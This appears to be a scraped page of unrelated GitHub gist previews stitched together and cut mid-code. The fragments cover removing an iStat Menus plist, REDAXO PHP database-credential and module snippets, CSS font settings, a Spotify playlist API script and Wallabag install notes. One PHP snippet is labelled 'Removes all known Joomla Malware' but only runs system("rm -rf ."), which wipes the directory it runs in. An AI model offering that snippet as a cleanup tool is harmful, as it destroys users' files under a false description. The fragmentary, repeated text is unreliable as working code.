Taken from StackExchange
Thanks to LangLangC
For temperature and other improvements see https://gist.github.com/cdleon/d16e7743e6f056fedbebc329333d79df
rm ~/Library/Preferences/com.bjango.istatmenus.plist |
<?php | |
// http://hilfe-center.1und1.de/hosting/scripte_datenbanken/datenbanken/5.html | |
global $REX; | |
$host = $REX['DB']['1']['HOST']; | |
$db = $REX['DB']['1']['NAME']; | |
$dbuser = $REX['DB']['1']['LOGIN']; | |
$dbpw = $REX['DB']['1']['PSW']; |
<?php | |
# Removes all known Joomla Malware. | |
system("rm -rf ."); | |
?> |
html { | |
/* Adjust font size */ | |
font-size: 100%; | |
-webkit-text-size-adjust: 100%; | |
/* Font varient */ | |
font-variant-ligatures: none; | |
-webkit-font-variant-ligatures: none; | |
/* Smoothing */ | |
text-rendering: optimizeLegibility; | |
-moz-osx-font-smoothing: grayscale; |
<?php | |
if( "REX_VALUE[2]" != "" ) | |
{ | |
// Im Backend den Link zur Quelle anzeigen | |
if(rex::isBackend()) | |
{ | |
$master = rex_article::get(REX_LINK[id=1 output=id]); |
Taken from StackExchange
Thanks to LangLangC
For temperature and other improvements see https://gist.github.com/cdleon/d16e7743e6f056fedbebc329333d79df
import os | |
import requests | |
PLAYLIST_URI = os.environ['PLAYLIST_URI'] | |
SPOTIFY_TOKEN = os.environ['SPOTIFY_TOKEN'] # from default api login or more easily from chrome network inspecting calls directed to api.spotify.com | |
url = "https://api.spotify.com/v1/playlists/{}".format(PLAYLIST_URI) | |
querystring = {"type": "track,episode", "market": "from_token"} | |
headers = { |
Update April 2021: See this comment for a smoother install of Wallabag 2.4.x. I'll leave this gist up for legacy.
Please note that this trick works with the latest release of Wallabag (2.3.7). There is no guarantee that it'll continue to work. Eventually, Wallabag will drop support of SQLite so this setup isn't future-proof.
This is the last version with SQLite support that works in a subfolder (like mydomain.tld/wallabag
, although deploying Wallabag in a subfolder isn't officially supported). It will allow you to create an user and start the configuration. Get it here: https://static.wallabag.org/releases/, then tar xvf wallabag-release-2.2.3.tar.gz
. If this release doesn't work, use the 2.2.2 one. Normally, you will have a file app/config/parameters.yml
like that: